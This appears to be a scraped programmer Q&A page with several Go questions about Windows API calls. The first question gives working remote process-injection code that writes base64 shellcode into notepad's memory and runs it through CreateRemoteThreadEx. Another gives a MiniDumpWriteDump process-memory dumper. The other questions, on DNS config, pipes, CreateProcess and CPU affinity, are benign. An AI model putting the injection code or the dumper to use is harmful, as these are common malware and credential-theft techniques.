How to keep process running after remote process injection in Go - windows

The b64sc is the variable to excute calc.exe and 14676 is the pid of notepad.exe.
When I run this code it can excute the calc but also close any process which I want to inject.
package main
import (
"encoding/base64"
"golg.org/x/sys/windows"
"unsafe"
)
var (
kernel32 = windows.NewLazySystemDLL("kernel32.dll")
ntdll = windows.NewLazySystemDLL("ntdll.dll")
OpenProcess = kernel32.NewProc("OpenProcess")
VirtualAllocEx = kernel32.NewProc("VirtualAllocEx")
WriteProcessMemory = kernel32.NewProc("WriteProcessMemory")
CloseHandle = kernel32.NewProc("CloseHandle")
CreateRemoteThreadEx = kernel32.NewProc("CreateRemoteThreadEx")
)
var b64sc = "/EiD5PDowAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdCLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpV////11IugEAAAAAAAAASI2NAQEAAEG6MYtvh//Vu/C1olZBuqaVvZ3/1UiDxCg8BnwKgPvgdQW7RxNyb2oAWUGJ2v/VY2FsYy5leGUA "
func main() {
sc, _ := base64.StdEncoding.DecodeString(b64sc)
target_process, _, _ := OpenProcess.Call(0x0002|0x0008|0x0020|0x0010|0x0400, 0, 14676)
remote_process_buffer, _, _ := VirtualAllocEx.Call(target_process, 0, uintptr(len(sc)), 0x3000, 0x40)
WriteProcessMemory.Call(target_process, remote_process_buffer, (uintptr)(unsafe.Pointer(&sc[0])), uintptr(len(sc)), 0)
CreateRemoteThreadEx.Call(target_process, 0, 0, remote_process_buffer, 0, 0, 0)
CloseHandle.Call(target_process)
}

Related

call win's api DnsQueryConfig, but it always return code: 87 ERROR_INVALID_PARAMETER

document of DnsQueryConfig here:
https://learn.microsoft.com/en-us/windows/win32/api/windns/nf-windns-dnsqueryconfig
add file dnsapi.go in project: github.com/kbinani/win, the content of the file is:
// +build windows
package win
import "unsafe"
var (
// Library
libdnsapi uintptr
// function
dnsQueryConfig uintptr
)
type DNS_CONFIG_TYPE uint32
type IP4_ARRAY struct {
AddrCount DWORD
IP4_ADDRESS [1]IP_ADDRESS_STRING
}
type PIP4_ARRAY *IP4_ARRAY
func init(){
// Library
libdnsapi = doLoadLibrary("Dnsapi.dll")
// Functions
dnsQueryConfig = doGetProcAddress(libdnsapi, "DnsQueryConfig")
}
// https://learn.microsoft.com/en-us/windows/win32/api/windns/nf-windns-dnsqueryconfig
func DnsQueryConfig(config DNS_CONFIG_TYPE, flag DWORD, pwsAdapterName PCWSTR, pReserved PVOID, pBuffer PVOID, pBufLen DWORD_PTR) int32 {
ret1 := syscall6(dnsQueryConfig,
6,
uintptr(unsafe.Pointer(&config)),
uintptr(unsafe.Pointer(&flag)),
uintptr(unsafe.Pointer(pwsAdapterName)),
uintptr(pReserved),
uintptr(pBuffer),
uintptr(unsafe.Pointer(pBufLen)),
)
return int32(ret1)
}
code in my project:
package main
import (
"fmt"
"github.com/kbinani/win"
"unsafe"
)
func main(){
// func DnsQueryConfig(config DNS_CONFIG_TYPE, flag DWORD, pwsAdapterName PCWSTR, pReserved PVOID, pBuffer PVOID, pBufLen DWORD_PTR) int32 {
config := win.DNS_CONFIG_TYPE(6)
flag := win.DWORD(0)
pwsAdapterName := win.PCWSTR(nil)
pReserved := win.PVOID(unsafe.Pointer(nil))
buffer := win.IP4_ARRAY{}
a := win.PVOID(unsafe.Pointer(&buffer))
l := uint32(unsafe.Sizeof(buffer))
pBufLen := win.DWORD_PTR(unsafe.Pointer(&l))
r := win.DnsQueryConfig(config, flag, pwsAdapterName, pReserved, a, pBufLen)
fmt.Println(r, buffer)
}
it always return code 87, can you give me some suggestions, thanks a lot.
solve the problem
package main
import (
"fmt"
"golang.org/x/sys/windows"
"net"
"strings"
"unsafe"
)
const (
DnsConfigDnsServerList int32 = 6
)
type char byte
type IpAddressString struct {
DNS [4 * 10]char
}
type Ip4Array struct {
AddrCount uint32
Ip4Address [1]IpAddressString
}
func main() {
fmt.Println(dns())
}
func dns() []string {
dns := []string{}
dnsapi := windows.NewLazyDLL("Dnsapi.dll")
dnsQuery := dnsapi.NewProc("DnsQueryConfig")
bufferBytes := make([]byte, 60)
loop:
buffer := (*Ip4Array)(unsafe.Pointer(&bufferBytes[0]))
blen := len(bufferBytes)
r1, _, _ := dnsQuery.Call(uintptr(DnsConfigDnsServerList), uintptr(0), uintptr(0), uintptr(0), uintptr(unsafe.Pointer(&bufferBytes[0])), uintptr(unsafe.Pointer(&blen)))
if r1 == 234 {
bufferBytes = make([]byte, blen)
goto loop
} else if r1 == 0 {
} else {
return dns
}
for i := uint32(1); i <= buffer.AddrCount; i++ {
right := i * 4
left := right - 4
tmpChars := buffer.Ip4Address[0].DNS[left:right]
tmpStr := []string{}
for j := 0; j < len(tmpChars); j++ {
tmpStr = append(tmpStr, fmt.Sprint(tmpChars[j]))
}
tmpDNS := strings.Join(tmpStr, ".")
pDns := net.ParseIP(tmpDNS)
if pDns == nil {
continue
}
if !pDns.IsGlobalUnicast() {
continue
}
dns = append(dns, tmpDNS)
}
return dns
}

Windows API Error "The handle is invalid"

I'm trying to create a program that utilises the MiniDumpWriteDump Windows API to dump another process's memory. However, it keeps returning an error saying The handle is invalid. I'm pretty confident in my process handle because I've used the OpenProcess Windows API before, so I think it's how I'm using CreateFileW.
I have looked at examples online like this one but I can't get anything working.
Here is my code so far:
package main
import (
"fmt"
"os"
"strconv"
"syscall"
"unsafe"
)
var kernel32 = syscall.NewLazyDLL("kernel32.dll")
var procOpenProcess = kernel32.NewProc("OpenProcess")
var procCreateFileW = kernel32.NewProc("CreateFileW")
var procCloseHandle = kernel32.NewProc("CloseHandle")
var dbghelp = syscall.NewLazyDLL("Dbghelp.dll")
var procMiniDumpWriteDump = dbghelp.NewProc("MiniDumpWriteDump")
func main() {
fmt.Println("[ ] Starting Enum-DumpProcessMemory\n")
pid, _ := strconv.Atoi(os.Args[1])
fmt.Println("[-] PID :", pid)
processHandle, _, _ := procOpenProcess.Call(uintptr(0xFFFF), uintptr(1), uintptr(pid))
fmt.Println("[-] Process Handle :", processHandle)
path, _ := syscall.UTF16PtrFromString(os.Args[2])
fileHandle, _, _ := procCreateFileW.Call(uintptr(unsafe.Pointer(path)), syscall.GENERIC_READ, syscall.FILE_SHARE_READ|syscall.FILE_SHARE_WRITE, 0, syscall.OPEN_EXISTING, syscall.FILE_ATTRIBUTE_NORMAL, 0)
fmt.Println("[-] File Handle :", fileHandle)
ret, _, err := procMiniDumpWriteDump.Call(uintptr(processHandle), uintptr(pid), uintptr(fileHandle), 0x00061907, 0, 0, 0)
if ret != 0 {
fmt.Println("[+] Process memory dump successful")
} else {
fmt.Println("[x] Process memory dump not successful")
fmt.Println(err)
}
}
Here is the output:
> .\Enum-DumpProcessMemory.exe 6892 C:\Users\user\Documents\dump.dmp
[ ] Starting Enum-DumpProcessMemory
[-] PID : 6892
[-] Process Handle : 236
[-] File Handle : 18446744073709551615
[x] Process memory dump not successful
The handle is invalid.
I got the code working thanks to the help from Jonathan Potter. The problem was that I was trying to create a handler to a file that didn't exist.
Here is my working code:
package main
import (
"fmt"
"os"
"strconv"
"syscall"
"unsafe"
)
var kernel32 = syscall.NewLazyDLL("kernel32.dll")
var procOpenProcess = kernel32.NewProc("OpenProcess")
var procCreateFileW = kernel32.NewProc("CreateFileW")
var dbghelp = syscall.NewLazyDLL("Dbghelp.dll")
var procMiniDumpWriteDump = dbghelp.NewProc("MiniDumpWriteDump")
func main() {
fmt.Println("[ ] Starting Enum-DumpProcessMemory\n")
pid, _ := strconv.Atoi(os.Args[1])
fmt.Println("[-] PID :", pid)
processHandle, _, _ := procOpenProcess.Call(uintptr(0xFFFF), uintptr(1), uintptr(pid))
fmt.Println("[-] Process Handle :", processHandle)
if _, err := os.Stat(os.Args[2]); os.IsNotExist(err) {
os.Create(os.Args[2])
}
path, _ := syscall.UTF16PtrFromString(os.Args[2])
fileHandle, _, _ := procCreateFileW.Call(uintptr(unsafe.Pointer(path)), syscall.GENERIC_WRITE, syscall.FILE_SHARE_READ|syscall.FILE_SHARE_WRITE, 0, syscall.OPEN_EXISTING, syscall.FILE_ATTRIBUTE_NORMAL, 0)
fmt.Println("[-] File Handle :", fileHandle)
ret, _, err := procMiniDumpWriteDump.Call(uintptr(processHandle), uintptr(pid), uintptr(fileHandle), 0x00061907, 0, 0, 0)
if ret != 0 {
fmt.Println("[+] Process memory dump successful")
} else {
fmt.Println("[x] Process memory dump not successful")
fmt.Println(err)
}
}

Go - Pipe 3 or more commands with os.exec()?

How can I pipe 3+ commands together in Go (for example ls | grep | wc)? I've tried to modify this code that is for piping 2 commands, but can't figure out the correct way.,
package main
import (
"os"
"os/exec"
)
func main() {
c1 := exec.Command("ls")
c2 := exec.Command("wc", "-l")
c2.Stdin, _ = c1.StdoutPipe()
c2.Stdout = os.Stdout
_ = c2.Start()
_ = c1.Run()
_ = c2.Wait()
}
https://stackoverflow.com/a/10953142/3761308
package main
import (
"os"
"os/exec"
)
func main() {
c1 := exec.Command("ls")
c2 := exec.Command("grep", "-i", "o")
c3 := exec.Command("wc", "-l")
c2.Stdin, _ = c1.StdoutPipe()
c3.Stdin, _ = c2.StdoutPipe()
c3.Stdout = os.Stdout
_ = c3.Start()
_ = c2.Start()
_ = c1.Run()
_ = c2.Wait()
_ = c3.Wait()
}

CreateProcess with golang

Hello I am try to call CreateProcess from syscall
func CreateProcess(appName *uint16, commandLine *uint16, procSecurity *SecurityAttributes, threadSecurity *SecurityAttributes, inheritHandles bool, creationFlags uint32, env *uint16, currentDir *uint16, startupInfo *StartupInfo, outProcInfo *ProcessInformation) (err error)
But I got error num 123 ("The filename, directory name, or volume label syntax is incorrect."), The path of the calc.exe is correct.
package main
import (
"fmt"
"syscall"
)
func main() {
var pS syscall.SecurityAttributes
var tS syscall.SecurityAttributes
var iH bool = true
var cF uint32
var env uint16
var cD uint16
var sI syscall.StartupInfo
var pI syscall.ProccessInformation
var err error
err = syscall.CreateProcess(
syscall.StringToUTF16Ptr("c:\\windows\\system32\\calc.exe"),
syscall.StringToUTF16Ptr(""),
&pS,
&tS,
iH,
cF,
&env,
&cD,
&sI,
&pI)
fmt.Printf("Return: %d\n", err)
}
You incorrectly set parameter lpCurrentDirectory(from https://msdn.microsoft.com/en-us/library/windows/desktop/ms682425%28v=vs.85%29.aspx) :
The full path to the current directory for the process. The string can
also specify a UNC path.
If this parameter is NULL, the new process will have the same current drive and directory as the calling process. (This feature is
provided primarily for shells that need to start an application and
specify its initial drive and working directory.)
If you make it nil, then it will work.
However, if to take for a sample example from this, then your code can be rewritten as:
package main
import (
"fmt"
"syscall"
)
func main() {
var sI syscall.StartupInfo
var pI syscall.ProcessInformation
argv := syscall.StringToUTF16Ptr("c:\\windows\\system32\\calc.exe")
err := syscall.CreateProcess(
nil,
argv,
nil,
nil,
true,
0,
nil,
nil,
&sI,
&pI)
fmt.Printf("Return: %d\n", err)
}

How set process to a CPU using Go in windows?

I want set a process to a CPU using Go in win7, the below code:
package main
import (
"fmt"
"math"
"runtime"
"syscall"
"unsafe"
)
func SetAffinity(pid int, mask *int64) {
syscall.Syscall(syscall.SYS_SCHED_SETAFFINITY,
uintptr(pid), 8, uintptr(unsafe.Pointer(mask)))
}
func GetAffinity(pid int, mask *int64) {
syscall.Syscall(syscall.SYS_SCHED_GETAFFINITY,
uintptr(pid), 8, uintptr(unsafe.Pointer(mask)))
}
var cpuNum = float64(runtime.NumCPU())
var setx = []struct {
args int
expected int64
}{
{0, int64(math.Pow(2, cpuNum)) - 2},
}
func main() {
for _, ca := range setx {
var cpuSet int64
GetAffinity(ca.args, &cpuSet)
cpuSet = cpuSet & 0XFFFFFFE
SetAffinity(ca.args, &cpuSet)
fmt.Println(cpuSet)
GetAffinity(ca.args, &cpuSet)
fmt.Println(cpuSet)
}
}
When I use go run affinity.go, get the follow info:
# command-line-arguments
.\affinity.go:12: undefined: syscall.SYS_SCHED_SETAFFINITY
.\affinity.go:13: not enough arguments in call to syscall.Syscall
.\affinity.go:17: undefined: syscall.SYS_SCHED_GETAFFINITY
.\affinity.go:18: not enough arguments in call to syscall.Syscall
I find SYS_SCHED_SETAFFINITY that it only used in linux.
So, I want to set a process to a cpu using Go in Windows(Win7), what can I do?
You'll have to invoke the WinAPI SetProcessAffinityMask.
Something like this should work:
func setProcessAffinityMask(h syscall.Handle, mask uintptr) (err error) {
r1, _, e1 := syscall.Syscall(syscall.NewLazyDLL("kernel32.dll").NewProc("SetProcessAffinityMask").Addr(), 2, uintptr(h), mask, 0)
if r1 == 0 {
if e1 != 0 {
err = error(e1)
} else {
err = syscall.EINVAL
}
}
return
}
h being the process handle, and mask being the desired affinity mask, of course.
This is taken from Go benchmarks, under the BSD license.

Resources